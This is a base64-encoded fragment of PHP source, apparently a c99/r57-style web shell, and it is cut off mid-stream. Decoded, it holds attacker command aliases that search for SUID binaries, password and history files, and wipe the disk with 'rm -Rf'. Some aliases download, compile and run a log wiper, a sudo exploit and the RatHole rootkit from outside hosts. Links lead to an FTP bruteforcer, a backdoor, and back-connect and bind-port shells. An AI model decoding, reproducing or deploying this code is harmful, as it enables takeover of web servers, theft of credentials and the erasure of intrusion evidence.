PT5hcnJheSgiZXhlIiwiY29tIiwicGlmIiwic3JjIiwibG5rIiwiemlwIiwicmFyIiwiZ3oiLCJ0 YXIiKQopOwokZXhlZnR5cGVzICA9IGFycmF5KAogICAgZ2V0ZW52KCJQSFBSQyIpLiIgLXEgJWYl IiA9PiBhcnJheSgicGhwIiwicGhwMyIsInBocDQiKSwKICAgICJwZXJsICVmJSIgPT4gYXJyYXko InBsIiwiY2dpIikKKTsKJHJlZ3hwX2hpZ2hsaWdodCAgPSBhcnJheSgKICAgIGFycmF5KGJhc2Vu YW1lKCRfU0VSVkVSWyJQSFBfU0VMRiJdKSwxLCI8Zm9udCBjb2xvcj0jRkZGRjAwPiIsIjwvZm9u dD4iKSwKICAgIGFycmF5KCJcLnRneiQiLDEsIjxmb250IGNvbG9yPSNDMDgyRkY+IiwiPC9mb250 PiIpLAogICAgYXJyYXkoIlwuZ3okIiwxLCI8Zm9udCBjb2xvcj0jQzA4MkZGPiIsIjwvZm9udD4i KSwKICAgIGFycmF5KCJcLnRhciQiLDEsIjxmb250IGNvbG9yPSNDMDgyRkY+IiwiPC9mb250PiIp LAogICAgYXJyYXkoIlwuYnoyJCIsMSwiPGZvbnQgY29sb3I9I0MwODJGRj4iLCI8L2ZvbnQ+Iiks CiAgICBhcnJheSgiXC56aXAkIiwxLCI8Zm9udCBjb2xvcj0jQzA4MkZGPiIsIjwvZm9udD4iKSwK ICAgIGFycmF5KCJcLnJhciQiLDEsIjxmb250IGNvbG9yPSNDMDgyRkY+IiwiPC9mb250PiIpLAog ICAgYXJyYXkoIlwucGhwJCIsMSwiPGZvbnQgY29sb3I9I0ZGMDAwMD4iLCI8L2ZvbnQ+IiksCiAg ICBhcnJheSgiXC5waHAzJCIsMSwiPGZvbnQgY29sb3I9I0ZGMDAwMD4iLCI8L2ZvbnQ+IiksCiAg ICBhcnJheSgiXC5waHA0JCIsMSwiPGZvbnQgY29sb3I9I0ZGMDAwMD4iLCI8L2ZvbnQ+IiksCiAg ICBhcnJheSgiXC5qcGckIiwxLCI8Zm9udCBjb2xvcj0jMDBGRkZGPiIsIjwvZm9udD4iKSwKICAg IGFycmF5KCJcLmpwZWckIiwxLCI8Zm9udCBjb2xvcj0jMDBGRkZGPiIsIjwvZm9udD4iKSwKICAg IGFycmF5KCJcLkpQRyQiLDEsIjxmb250IGNvbG9yPSMwMEZGRkY+IiwiPC9mb250PiIpLAogICAg YXJyYXkoIlwuSlBFRyQiLDEsIjxmb250IGNvbG9yPSMwMEZGRkY+IiwiPC9mb250PiIpLAogICAg YXJyYXkoIlwuaWNvJCIsMSwiPGZvbnQgY29sb3I9IzAwRkZGRj4iLCI8L2ZvbnQ+IiksCiAgICBh cnJheSgiXC5naWYkIiwxLCI8Zm9udCBjb2xvcj0jMDBGRkZGPiIsIjwvZm9udD4iKSwKICAgIGFy cmF5KCJcLnBuZyQiLDEsIjxmb250IGNvbG9yPSMwMEZGRkY+IiwiPC9mb250PiIpLAogICAgYXJy YXkoIlwuaHRtJCIsMSwiPGZvbnQgY29sb3I9IzAwQ0NGRj4iLCI8L2ZvbnQ+IiksCiAgICBhcnJh eSgiXC5odG1sJCIsMSwiPGZvbnQgY29sb3I9IzAwQ0NGRj4iLCI8L2ZvbnQ+IiksCiAgICBhcnJh eSgiXC50eHQkIiwxLCI8Zm9udCBjb2xvcj0jQzBDMEMwPiIsIjwvZm9udD4iKQopOwppZiAoISR3 aW4pIHsKICAkY21kYWxpYXNlcyA9IGFycmF5KAogICAgYXJyYXkoImxzIC1sYSIsICJscyAtbGEi KSwKICAgIGFycmF5KCJwcyAteCIsICJwcyAteCIpLAogICAgYXJyYXkoIi0tLS0tIiwgIi0tLS0t IiksCiAgICBhcnJheSgiRmluZCBhbGwgc3VpZCBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtcGVy bSAtMDQwMDAgLWxzIiksCiAgICBhcnJheSgiRmluZCBzdWlkIGZpbGVzIGluIGN1cnJlbnQgZGly IiwgImZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wNDAwMCAtbHMiKSwKICAgIGFycmF5KCJGaW5kIGFs bCBzZ2lkIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMiKSwKICAgIGFy cmF5KCJGaW5kIHNnaWQgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLXBl cm0gLTAyMDAwIC1scyIpLAogICAgYXJyYXkoIkZpbmQgY29uZmlnLmluYy5waHAgZmlsZXMiLCAi ZmluZCAvIC10eXBlIGYgLW5hbWUgY29uZmlnLmluYy5waHAiKSwKICAgIGFycmF5KCJGaW5kIGNv bmZpZyogZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiKSwKICAgIGFy cmF5KCJGaW5kIGNvbmZpZyogZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYg LW5hbWUgXCJjb25maWcqXCIiKSwKICAgIGFycmF5KCJGaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJz IGFuZCBmaWxlcyIsICJmaW5kIC8gLXBlcm0gLTIgLWxzIiksCiAgICBhcnJheSgiRmluZCBhbGwg d3JpdGFibGUgZm9sZGVycyBhbmQgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC1wZXJt IC0yIC1scyIpLAogICAgYXJyYXkoIkZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMiLCAiZmluZCAv IC10eXBlIGQgLXBlcm0gLTIgLWxzIiksCiAgICBhcnJheSgiRmluZCBhbGwgd3JpdGFibGUgZm9s ZGVycyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZCAtcGVybSAtMiAtbHMiKSwKICAg IGFycmF5KCJGaW5kIGFsbCBzZXJ2aWNlLnB3ZCBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFt ZSBzZXJ2aWNlLnB3ZCIpLAogICAgYXJyYXkoIkZpbmQgc2VydmljZS5wd2QgZmlsZXMgaW4gY3Vy cmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLW5hbWUgc2VydmljZS5wd2QiKSwKICAgIGFycmF5 KCJGaW5kIGFsbCAuaHRwYXNzd2QgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmh0cGFz c3dkIiksCiAgICBhcnJheSgiRmluZCAuaHRwYXNzd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAi ZmluZCAuIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkIiksCiAgICBhcnJheSgiRmluZCBhbGwgLmJh c2hfaGlzdG9yeSBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5Iiks CiAgICBhcnJheSgiRmluZCAuYmFzaF9oaXN0b3J5IGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZp bmQgLiAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnkiKSwKICAgIGFycmF5KCJGaW5kIGFsbCAu ZmV0Y2htYWlscmMgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjIiks CiAgICBhcnJheSgiRmluZCAuZmV0Y2htYWlscmMgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmlu ZCAuIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjIiksCiAgICBhcnJheSgiTGlzdCBmaWxlIGF0 dHJpYnV0ZXMgb24gYSBMaW51eCBzZWNvbmQgZXh0ZW5kZWQgZmlsZSBzeXN0ZW0iLCAibHNhdHRy IC12YSIpLAogICAgYXJyYXkoIlNob3cgb3BlbmVkIHBvcnRzIiwgIm5ldHN0YXQgLWFuIHwgZ3Jl cCAtaSBsaXN0ZW4iKQogICk7CiAgJGNtZGFsaWFzZXMyID0gYXJyYXkoCiAgICBhcnJheSgiLS0t LS0iLCIiKSwKICAgIGFycmF5KCJMb2dnZWQgaW4gdXNlcnMiLCJ3IiksCiAgICBhcnJheSgiTGFz dCB0byBjb25uZWN0IiwibGFzdGxvZyIpLAogICAgYXJyYXkoIkZpbmQgU3VpZCBiaW5zIiwiZmlu ZCAvYmluIC91c3IvYmluIC91c3IvbG9jYWwvYmluIC9zYmluIC91c3Ivc2JpbiAvdXNyL2xvY2Fs L3NiaW4gLXBlcm0gLTQwMDAgMj4gL2Rldi9udWxsIiksCiAgICBhcnJheSgiVXNlciBXaXRob3V0 IFBhc3N3b3JkIiwiY3V0IC1kOiAtZjEsMiwzIC9ldGMvcGFzc3dkIHwgZ3JlcCA6OiIpLAogICAg YXJyYXkoIkNhbiB3cml0ZSBpbiAvZXRjLz8iLCJmaW5kIC9ldGMvIC10eXBlIGYgLXBlcm0gLW8r dyAyPiAvZGV2L251bGwiKSwKICAgIGFycmF5KCJEb3dubG9hZGVycz8iLCJ3aGljaCB3Z2V0IGN1 cmwgdzNtIGx5bnggZmV0Y2ggbHdwLWRvd25sb2FkIiksCiAgICBhcnJheSgiQ1BVIEluZm8iLCJj YXQgL3Byb2MvdmVyc2lvbiAvcHJvYy9jcHVpbmZvIiksCiAgICBhcnJheSgiSXMgZ2NjIGluc3Rh bGxlZCA/IiwibG9jYXRlIGdjYyIpLAogICAgYXJyYXkoIkZvcm1hdCBib3ggKERBTkdFUk9VUyki LCJybSAtUmYiKSwKICAgIGFycmF5KCItLS0tLSIsIiIpLAogICAgYXJyYXkoIndnZXQgV0lQRUxP R1MgUFQxIiwid2dldCBodHRwOi8vd3d3LnBhY2tldHN0b3Jtc2VjdXJpdHkub3JnL1VOSVgvcGVu ZXRyYXRpb24vbG9nLXdpcGVycy96YXAyLmMiKSwKICAgIGFycmF5KCJnY2MgV0lQRUxPR1MgUFQy IiwiZ2NjIHphcDIuYyAtbyB6YXAyIiksCiAgICBhcnJheSgiUnVuIFdJUEVMT0dTIFBUMyIsIi4v emFwMiIpLAogICAgYXJyYXkoIi0tLS0tIiwiIiksCiAgICBhcnJheSgid3VuZGVyYmFyX2VtcG9y aXVtICh3dW5kZXJiYXIpIiwid2dldCBodHRwOi8vd3d3LnBhY2tldHN0b3Jtc2VjdXJpdHkuY29t LzA5MDgtZXhwbG9pdHMvd3VuZGVyYmFyX2VtcG9yaXVtLnRneiIpLAogICAgYXJyYXkoIndnZXQg UmF0SG9sZSAxLjIgKExpbnV4ICYgQlNEKSIsIndnZXQgaHR0cDovL3BhY2tldHN0b3Jtc2VjdXJp dHkub3JnL1VOSVgvcGVuZXRyYXRpb24vcm9vdGtpdHMvcmF0aG9sZS0xLjIudGFyLmd6IiksCiAg ICBhcnJheSgid2dldCBTdWRvIEV4cGxvaXQiLCJ3Z2V0IGh0dHA6Ly93d3cuc2VjdXJpdHlmb2N1 cy5jb20vZGF0YS92dWxuZXJhYmlsaXRpZXMvZXhwbG9pdHMvc3Vkby1leHBsb2l0LmMiKSwKICAp Owp9CmVsc2UgewogICRjbWRhbGlhc2VzID0gYXJyYXkoCiAgICBhcnJheSgiIiwgImRpciIpLAog ICAgYXJyYXkoIkZpbmQgaW5kZXgucGhwIGluIGN1cnJlbnQgZGlyIiwgImRpciAvcyAvdyAvYiBp bmRleC5waHAiKSwKICAgIGFycmF5KCJGaW5kICpjb25maWcqLnBocCBpbiBjdXJyZW50IGRpciIs ICJkaXIgL3MgL3cgL2IgKmNvbmZpZyoucGhwIiksCiAgICBhcnJheSgiRmluZCByNTdzaGVsbCBp biBjdXJyZW50IGRpciIsICJmaW5kIC9jIFwicjU3XCIgKiIpLAogICAgYXJyYXkoIlNob3cgYWN0 aXZlIGNvbm5lY3Rpb25zIiwgIm5ldHN0YXQgLWFuIiksCiAgICBhcnJheSgiU2hvdyBydW5uaW5n IHNlcnZpY2VzIiwgIm5ldCBzdGFydCIpLAogICAgYXJyYXkoIlVzZXIgYWNjb3VudHMiLCAibmV0 IHVzZXIiKSwKICAgIGFycmF5KCJTaG93IGNvbXB1dGVycyIsICJuZXQgdmlldyIpLAogICAgKTsK fQokcGhwZnNhbGlhc2VzID0gYXJyYXkoCiAgICBhcnJheSgiUmVhZCBGaWxlIiwgInJlYWQiKSwK ICAgIGFycmF5KCJXcml0ZSBGaWxlIChQSFA1KSIsICJ3cml0ZSIpLAogICAgYXJyYXkoIkNvcHki LCAiY29weSIpLAogICAgYXJyYXkoIlJlbmFtZS9Nb3ZlIiwgInJlbmFtZSIpLAogICAgYXJyYXko IkRlbGV0ZSIsICJkZWxldGUiKSwKICAgIGFycmF5KCJNYWtlIERpciIsIm1rZGlyIiksCiAgICBh cnJheSgiLS0tLS0iLCAiIiksCiAgICBhcnJheSgiRG93bmxvYWQiLCAiZG93bmxvYWQiKSwKICAg IGFycmF5KCJEb3dubG9hZCAoQmluYXJ5IFNhZmUpIiwgImRvd25sb2FkYmluIiksCiAgICBhcnJh eSgiQ2hhbmdlIFBlcm0gKDA3NTUpIiwgImNobW9kIiksCiAgICBhcnJheSgiRmluZCBXcml0YWJs ZSBEaXIiLCAiZndyaXRhYmxlZGlyIiksCiAgICBhcnJheSgiRmluZCBQYXRobmFtZSBQYXR0ZXJu IiwgImdsb2IiKSwKKTsKCiRxdWlja2xhdW5jaDEgPSBhcnJheSgKCWFycmF5KCJbSG9tZV0iLCRz dXJsLiI9aW1nJmltZz1ob21lIiksCiAgICBhcnJheSgiW2VzcGxvaXRdIiwiaHR0cDovL3d3dzIu cGFja2V0c3Rvcm1zZWN1cml0eS5vcmcvY2dpLWJpbi9zZWFyY2gvc2VhcmNoLmNnaT9zZWFyY2h2 YWx1ZT1MaW51eCtLZXJuZWwiKSwKKTsKJHF1aWNrbGF1bmNoMiA9IGFycmF5KAoJYXJyYXkoIltG VFAgQnV0ZWZvcmNlcl0iLCRzdXJsLiJ4PWZ0cHF1aWNrYnJ1dGUiKSwKICAgIGFycmF5KCJbU2Vj dXJpdHkgSW5mb10iLCRzdXJsLiJ4PXNlY3VyaXR5JmQ9JWQiKSwKICAgIGFycmF5KCJbUHJvY2Vz c2VzXSIsJHN1cmwuIng9cHJvY2Vzc2VzJmQ9JWQiKSwKICAgIGFycmF5KCJbTXlTUUxdIiwkc3Vy bC4ieD1zcWwmZD0lZCIpLAogICAgYXJyYXkoIltCYWNrZG9vcl0iLCRzdXJsLiJ4PXNoYmQiKSwK ICAgIGFycmF5KCJbQmFjay1Db25uZWN0aW9uXSIsJHN1cmwuIng9YmFja2MiKQopOwoKCiRoaWdo bGlnaHRfYmFja2dyb3VuZCA9ICIjMDAwMDAwIjsKJGhpZ2hsaWdodF9iZyA9ICJ3aGl0ZSI7CiRo aWdobGlnaHRfY29tbWVudCA9ICIjRkYwMDAwIjsKJGhpZ2hsaWdodF9kZWZhdWx0ID0gIm9yYW5n ZSI7CiRoaWdobGlnaHRfaHRtbCA9ICJsaWdodGJsdWUiOwokaGlnaGxpZ2h0X2tleXdvcmQgPSAi bGltZSI7CiRoaWdobGlnaHRfc3RyaW5nID0gInJlZCI7CgpAJGYgPSAkX1JFUVVFU1RbImYiXTsK QGV4dHJhY3QoJF9SRVFVRVNUWyJjYXByaXY4Y29vayJdKTsKQHNldF90aW1lX2xpbWl0KDApOwok dG1wID0gYXJyYXkoKTsKZm9yZWFjaCAoJGhvc3RfYWxsb3cgYXMgJGs9PiR2KSB7ICR0bXBbXSA9 IHN0cl9yZXBsYWNlKCJcXCoiLCIuKiIscHJlZ19xdW90ZSgkdikpOyB9CiRzID0gIiFeKCIuaW1w bG9kZSgifCIsJHRtcCkuIikkIWkiOwppZiAoIXByZWdfbWF0Y2goJHMsZ2V0ZW52KCJSRU1PVEVf QUREUiIpKSBhbmQgIXByZWdfbWF0Y2goJHMsZ2V0aG9zdGJ5YWRkcihnZXRlbnYoIlJFTU9URV9B RERSIikpKSkgewogIGV4aXQoIjxhIGhyZWY9XCIkc2hfbWFpbnVybFwiPiRzaF9uYW1lPC9hPjog QWNjZXNzIERlbmllZCAtIFlvdXIgaG9zdCAoIi5nZXRlbnYoIlJFTU9URV9BRERSIikuIikgbm90 IGFsbG93ZWQiKTsKfQppZiAoIWVtcHR5KCRsb2dpbikpIHsKICBpZiAoZW1wdHkoJG1kNV9wYXNz KSkgeyRtZDVfcGFzcyA9IG1kNSgkcGFzcyk7fQogIGlmICgoJF9TRVJWRVJbIlBIUF9BVVRIX1VT RVIiXSAhPSAkbG9naW4pIG9yIChtZDUoJF9TRVJWRVJbIlBIUF9BVVRIX1BXIl0pICE9ICRtZDVf cGFzcykpIHsKICAgIGhlYWRlcigiV1dXLUF1dGhlbnRpY2F0ZTogQmFzaWMgcmVhbG09XCIiLiRz aF9uYW1lLiI6ICIuJGxvZ2luX3R4dC4iXCIiKTsKICAgIGhlYWRlcigiSFRUUC8xLjAgNDAxIFVu YXV0aG9yaXplZCIpOwogICAgZXhpdCgkYWNjZXNzZGVuaWVkbWVzcyk7CiAgfQp9CmlmICgkeCAh PSAiaW1nIikgewogICRsYXN0ZGlyID0gcmVhbHBhdGgoIi4iKTsKICBjaGRpcigkY3VyZGlyKTsK ICBpZiAoJHNlbGZ3cml0ZSkgewogICAgQG9iX2NsZWFuKCk7CiAgICBjYXByaXY4X2dldHVwZGF0 ZSgkc2VsZndyaXRlLDEpOwogICAgZXhpdDsKICB9CiAgJHNlc3NfZGF0YSA9IHVuc2VyaWFsaXpl KCRfQ09PS0lFWyIkc2Vzc19jb29raWUiXSk7CiAgaWYgKCFpc19hcnJheSgkc2Vzc19kYXRhKSkg eyRzZXNzX2RhdGEgPSBhcnJheSgpO30KICBpZiAoIWlzX2FycmF5KCRzZXNzX2RhdGFbImNvcHki XSkpIHskc2Vzc19kYXRhWyJjb3B5Il0gPSBhcnJheSgpO30KICBpZiAoIWlzX2FycmF5KCRzZXNz X2RhdGFbImN1dCJdKSkgeyRzZXNzX2RhdGFbImN1dCJdID0gYXJyYXkoKTt9CiAgaWYgKCFmdW5j dGlvbl9leGlzdHMoImNhZ2V0c291cmNlIikpIHsKICAgIGZ1bmN0aW9uIGNhZ2V0c291cmNlKCRm bikgewogICAgICBnbG9iYWwgJGNhcHJpdjhfc291cmNlc3VybDsKICAgICAgJGFycmF5ID0gYXJy YXkoCiAgICAgICAgImNhcHJpdjhfYmluZHBvcnQucGwiID0+ICJjYXByaXY4X2JpbmRwb3J0X3Bs LnR4dCIsCiAgICAgICAgImNhcHJpdjhfYmluZHBvcnQuYyIgPT4gImNhcHJpdjhfYmluZHBvcnRf Yy50eHQiLAogICAgICAgICJjYXByaXY4X2JhY2tjb25uLnBsIiA9PiAiY2Fwcml2OF9iYWNrY29u bl9wbC50eHQiLAogICAgICAgICJjYXByaXY4X2JhY2tjb25uLmMiID0+ICJjYXByaXY4X2JhY2tj b25uX2MudHh0IiwKICAgICAgICAiY2Fwcml2OF9kYXRhcGlwZS5wbCIgPT4gImNhcHJpdjhfZGF0 YXBpcGVfcGwudHh0IiwKICAgICAgICAiY2Fwcml2OF9kYXRhcGlwZS5jIiA9PiAiY2Fwcml2OF9k YXRhcGlwZV9jLnR4dCIsCiAgICAgICk7CiAgICAgICRuYW1lID0gJGFycmF5WyRmbl07CiAgICAg IGlmICgkbmFtZSkge3JldHVybiBmaWxlX2dldF9jb250ZW50cygkY2Fwcml2OF9zb3VyY2VzdXJs LiRuYW1lKTt9CiAgICAgIGVsc2Uge3JldHVybiBGQUxTRTt9CiAgICB9CiAgfQogIGlmICghZnVu Y3Rpb25fZXhpc3RzKCJjYV9idWZmX3ByZXBhcmUiKSkgewogICAgZnVuY3Rpb24gY2FfYnVmZl9w cmVwYXJlKCkgewogICAgICBnbG9iYWwgJHNlc3NfZGF0YTsKICAgICAgZ2xvYmFsICR4OwogICAg ICBmb3JlYWNoKCRzZXNzX2RhdGFbImNvcHkiXSBhcyAkaz0+JHYpIHskc2Vzc19kYXRhWyJjb3B5 Il1bJGtdID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLHJlYWxwYXRoKCR2 KSk7fQogICAgICBmb3JlYWNoKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikgeyRzZXNzX2Rh dGFbImN1dCJdWyRrXSA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUixyZWFs cGF0aCgkdikpO30KICAgICAgJHNlc3NfZGF0YVsiY29weSJdID0gYXJyYXlfdW5pcXVlKCRzZXNz X2RhdGFbImNvcHkiXSk7CiAgICAgICRzZXNzX2RhdGFbImN1dCJdID0gYXJyYXlfdW5pcXVlKCRz ZXNzX2RhdGFbImN1dCJdKTsKICAgICAgc29ydCgkc2Vzc19kYXRhWyJjb3B5Il0pOwogICAgICBz b3J0KCRzZXNzX2RhdGFbImN1dCJdKTsKICAgICAgaWYgKCR4ICE9ICJjb3B5Iikge2ZvcmVhY2go JHNlc3NfZGF0YVsiY3V0Il0gYXMgJGs9PiR2KSB7aWYgKCRzZXNzX2RhdGFbImNvcHkiXVska10g PT0gJHYpIHt1bnNldCgkc2Vzc19kYXRhWyJjb3B5Il1bJGtdKTsgfX19CiAgICAgIGVsc2Uge2Zv cmVhY2goJHNlc3NfZGF0YVsiY29weSJdIGFzICRrPT4kdikge2lmICgkc2Vzc19kYXRhWyJjdXQi XVska10gPT0gJHYpIHt1bnNldCgkc2Vzc19kYXRhWyJjdXQiXVska10pO319fQogICAgfQogIH0K ICBjYV9idWZmX3ByZXBhcmUoKTsKICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiY2Ffc2Vzc19wdXQi KSkgewogICAgZnVuY3Rpb24gY2Ffc2Vzc19wdXQoJGRhdGEpIHsKICAgICAgZ2xvYmFsICRzZXNz X2Nvb2tpZTsKICAgICAgZ2xvYmFsICRzZXNzX2RhdGE7CiAgICAgIGNhX2J1ZmZfcHJlcGFyZSgp OwogICAgICAkc2Vzc19kYXRhID0gJGRhdGE7CiAgICAgICRkYXRhID0gc2VyaWFsaXplKCRkYXRh KTsKICAgICAgc2V0Y29va2llKCRzZXNzX2Nvb2tpZSwkZGF0YSk7CiAgICB9CiAgfQogIGZvcmVh Y2ggKGFycmF5KCJzb3J0Iiwic3FsX3NvcnQiKSBhcyAkdikgewogICAgaWYgKCFlbXB0eSgkX0dF VFskdl0pKSB7JCR2ID0gJF9HRVRbJHZdO30KICAgIGlmICghZW1wdHkoJF9QT1NUWyR2XSkpIHsk JHYgPSAkX1BPU1RbJHZdO30KICB9CiAgaWYgKCRzb3J0X3NhdmUpIHsKICAgIGlmICghZW1wdHko JHNvcnQpKSB7c2V0Y29va2llKCJzb3J0Iiwkc29ydCk7fQogICAgaWYgKCFlbXB0eSgkc3FsX3Nv cnQpKSB7c2V0Y29va2llKCJzcWxfc29ydCIsJHNxbF9zb3J0KTt9CiAgfQogIGlmICghZnVuY3Rp b25fZXhpc3RzKCJzdHIybWluaSIpKSB7CiAgICBmdW5jdGlvbiBzdHIybWluaSgkY29udGVudCwk bGVuKSB7CiAgICAgIGlmIChzdHJsZW4oJGNvbnRlbnQpID4gJGxlbikgewogICAgICAgICRsZW4g PSBjZWlsKCRsZW4vMikgLSAyOwogICAgICAgIHJldHVybiBzdWJzdHIoJGNvbnRlbnQsIDAsJGxl bikuIi4uLiIuc3Vic3RyKCRjb250ZW50LC0kbGVuKTsKICAgICAgfSBlbHNlIHtyZXR1cm4gJGNv bnRlbnQ7fQogICAgfQogIH0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygidmlld19zaXplIikpIHsK ICAgIGZ1bmN0aW9uIHZpZXdfc2l6ZSgkc2l6ZSkgewogICAgICBpZiAoIWlzX251bWVyaWMoJHNp emUpKSB7IHJldHVybiBGQUxTRTsgfQogICAgICBlbHNlIHsKICAgICAgICBpZiAoJHNpemUgPj0g MTA3Mzc0MTgyNCkgeyRzaXplID0gcm91bmQoJHNpemUvMTA3Mzc0MTgyNCoxMDApLzEwMCAuIiBH QiI7fQogICAgICAgIGVsc2VpZiAoJHNpemUgPj0gMTA0ODU3NikgeyRzaXplID0gcm91bmQoJHNp emUvMTA0ODU3NioxMDApLzEwMCAuIiBNQiI7fQogICAgICAgIGVsc2VpZiAoJHNpemUgPj0gMTAy NCkgeyRzaXplID0gcm91bmQoJHNpemUvMTAyNCoxMDApLzEwMCAuIiBLQiI7fQogICAgICAgIGVs c2UgeyRzaXplID0gJHNpemUgLiAiIEIiO30KICAgICAgICByZXR1cm4gJHNpemU7CiAgICAgIH0K ICAgIH0KICB9CiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoImZzX2NvcHlfZGlyIikpIHsKICAgIGZ1 bmN0aW9uIGZzX2NvcHlfZGlyKCRkLCR0KSB7CiAgICAgICRkID0gc3RyX3JlcGxhY2UoIlxcIixE SVJFQ1RPUllfU0VQQVJBVE9SLCRkKTsKICAgICAgaWYgKHN1YnN0cigkZCwtMSkgIT0gRElSRUNU T1JZX1NFUEFSQVRPUikgeyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQogICAgICAkaCA9IG9w ZW5kaXIoJGQpOwogICAgICB3aGlsZSAoKCRvID0gcmVhZGRpcigkaCkpICE9PSBGQUxTRSkgewog ICAgICAgIGlmICgoJG8gIT0gIi4iKSBhbmQgKCRvICE9ICIuLiIpKSB7CiAgICAgICAgICBpZiAo IWlzX2RpcigkZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKSkgeyRyZXQgPSBjb3B5KCRkLkRJUkVD VE9SWV9TRVBBUkFUT1IuJG8sJHQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbyk7fQogICAgICAgICAg ZWxzZSB7JHJldCA9IG1rZGlyKCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pOyBmc19jb3B5X2Rp cigkZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvLCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pO30K ICAgICAgICAgIGlmICghJHJldCkge3JldHVybiAkcmV0O30KICAgICAgICB9CiAgICAgIH0KICAg ICAgY2xvc2VkaXIoJGgpOwogICAgICByZXR1cm4gVFJVRTsKICAgIH0KICB9CiAgaWYgKCFmdW5j dGlvbl9leGlzdHMoImZzX2NvcHlfb2JqIikpIHsKICAgIGZ1bmN0aW9uIGZzX2NvcHlfb2JqKCRk LCR0KSB7CiAgICAgICRkID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCRk KTsKICAgICAgJHQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJHQpOwog ICAgICBpZiAoIWlzX2RpcihkaXJuYW1lKCR0KSkpIHtta2RpcihkaXJuYW1lKCR0KSk7fQogICAg ICBpZiAoaXNfZGlyKCRkKSkgewogICAgICAgIGlmIChzdWJzdHIoJGQsLTEpICE9IERJUkVDVE9S WV9TRVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30KICAgICAgICBpZiAoc3Vi c3RyKCR0LC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JHQgLj0gRElSRUNUT1JZX1NFUEFS QVRPUjt9CiAgICAgICAgcmV0dXJuIGZzX2NvcHlfZGlyKCRkLCR0KTsKICAgICAgfQogICAgICBl bHNlaWYgKGlzX2ZpbGUoJGQpKSB7IHJldHVybiBjb3B5KCRkLCR0KTsgfQogICAgICBlbHNlIHsg cmV0dXJuIEZBTFNFOyB9CiAgICB9CiAgfQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19tb3Zl X2RpciIpKSB7CiAgICBmdW5jdGlvbiBmc19tb3ZlX2RpcigkZCwkdCkgewogICAgICAkaCA9IG9w ZW5kaXIoJGQpOwogICAgICBpZiAoIWlzX2RpcigkdCkpIHtta2RpcigkdCk7fQogICAgICB3aGls ZSAoKCRvID0gcmVhZGRpcigkaCkpICE9PSBGQUxTRSkgewogICAgICAgIGlmICgoJG8gIT0gIi4i KSBhbmQgKCRvICE9ICIuLiIpKSB7CiAgICAgICAgICAkcmV0ID0gVFJVRTsKICAgICAgICAgIGlm ICghaXNfZGlyKCRkLkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pKSB7JHJldCA9IGNvcHkoJGQuRElS RUNUT1JZX1NFUEFSQVRPUi4kbywkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKTt9CiAgICAgICAg ICBlbHNlIHtpZiAobWtkaXIoJHQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbykgYW5kIGZzX2NvcHlf ZGlyKCRkLkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8sJHQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbykp IHskcmV0ID0gRkFMU0U7fX0KICAgICAgICAgIGlmICghJHJldCkge3JldHVybiAkcmV0O30KICAg ICAgICB9CiAgICAgIH0KICAgICAgY2xvc2VkaXIoJGgpOwogICAgICByZXR1cm4gVFJVRTsKICAg IH0KICB9CiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoImZzX21vdmVfb2JqIikpIHsKICAgIGZ1bmN0 aW9uIGZzX21vdmVfb2JqKCRkLCR0KSB7CiAgICAgICRkID0gc3RyX3JlcGxhY2UoIlxcIixESVJF Q1RPUllfU0VQQVJBVE9SLCRkKTsKICAgICAgJHQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9S WV9TRVBBUkFUT1IsJHQpOwogICAgICBpZiAoaXNfZGlyKCRkKSkgewogICAgICAgIGlmIChzdWJz dHIoJGQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQQVJB 